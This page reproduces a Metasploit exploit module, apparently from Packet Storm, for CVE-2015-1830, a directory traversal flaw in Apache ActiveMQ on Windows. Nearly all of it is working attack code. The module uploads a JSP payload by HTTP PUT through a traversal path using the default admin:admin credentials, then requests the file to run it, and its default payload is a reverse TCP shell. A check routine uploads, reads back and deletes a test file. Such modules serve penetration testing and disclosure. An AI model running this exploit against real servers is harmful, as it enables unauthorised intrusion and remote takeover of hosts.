Apache ActiveMQ 5.11.1 Directory Traversal / Shell Upload ≈ Packet Storm


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload’,
‘Description’ => %q{
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
ActiveMQ 5.x before 5.11.2 for Windows.

The module tries to upload a JSP payload to the /admin directory via the traversal
path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ
credentials admin:admin (or other credentials provided by the user). It then issues
an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
payload and obtain a shell.
},
‘Author’ =>
[
‘David Jorm’, # Discovery and exploit
‘Erik Wynter’ # @wyntererik – Metasploit
],
‘References’ =>
[
[ ‘CVE’, ‘2015-1830’ ],
[ ‘EDB’, ‘40857’],
[ ‘URL’, ‘https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt’ ]
],
‘Privileged’ => false,
‘Platform’ => %w{ win },
‘Targets’ =>
[
[ ‘Windows Java’,
{
‘Arch’ => ARCH_JAVA,
‘Platform’ => ‘win’
}
],
],
‘DisclosureDate’ => ‘2015-08-19’,
‘License’ => MSF_LICENSE,
‘DefaultOptions’ => {
‘RPORT’ => 8161,
‘PAYLOAD’ => ‘java/jsp_shell_reverse_tcp’
},
‘DefaultTarget’ => 0))

register_options([
OptString.new(‘TARGETURI’, [true, ‘The base path to the web application’, ‘/’]),
OptString.new(‘PATH’, [true, ‘Traversal path’, ‘/fileserver/..\admin\’]),
OptString.new(‘USERNAME’, [true, ‘Username to authenticate with’, ‘admin’]),
OptString.new(‘PASSWORD’, [true, ‘Password to authenticate with’, ‘admin’])
])
end

def check
print_status(« Running check… »)
testfile = Rex::Text::rand_text_alpha(10)
testcontent = Rex::Text::rand_text_alpha(10)

send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, datastore[‘PATH’], « #{testfile}.jsp »),
‘headers’ => {
‘Authorization’ => basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’])
},
‘method’ => ‘PUT’,
‘data’ => « <% out.println(« #{testcontent} »);%> »
})

res1 = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, »admin/#{testfile}.jsp »),
‘headers’ => {
‘Authorization’ => basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’])
},
‘method’ => ‘GET’
})

if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
‘uri’ => normalize_uri(target_uri.path, »admin/#{testfile}.jsp »),
‘headers’ => {
‘Authorization’ => basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’])
},
‘method’ => ‘DELETE’
},
timeout = 1
)
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status(« Uploading payload… »)
testfile = Rex::Text::rand_text_alpha(10)
vprint_status(« If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp ») #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.

send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, datastore[‘PATH’], « #{testfile}.jsp »),
‘headers’ => {
‘Authorization’ => basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’])
},
‘method’ => ‘PUT’,
‘data’ => payload.encoded
})

print_status(« Payload sent. Attempting to execute the payload. »)
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, »admin/#{testfile}.jsp »),
‘headers’ => {
‘Authorization’ => basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’])
},
‘method’ => ‘GET’
})
if res && res.code == 200
print_good(« Payload executed! »)
else
fail_with(Failure::PayloadFailed, « Failed to execute the payload »)
end
end
end



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